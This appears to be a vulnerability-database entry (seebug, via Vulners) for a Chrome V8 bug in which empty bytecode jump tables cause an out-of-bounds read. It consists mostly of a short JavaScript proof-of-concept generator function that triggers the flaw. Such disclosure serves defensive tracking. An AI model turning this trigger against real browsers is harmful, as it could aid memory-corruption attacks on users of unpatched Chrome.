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Chrome: V8: Empty BytecodeJumpTable may lead to OOB read

🗓️ 15 Mar 2018 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

V8 bytecode generator emits empty jump tables causing out-of-bounds rea

Code

                                                function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;
        }

    for (;;)
        if (true) {

        } else {
            yield; yield; yield; yield; yield; yield; yield; yield;
        }
}

for (let i = 0; i < 100000; i++)
    opt();
                              

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15 Mar 2018 00:00Current
7.1High risk
Vulners AI Score7.1
28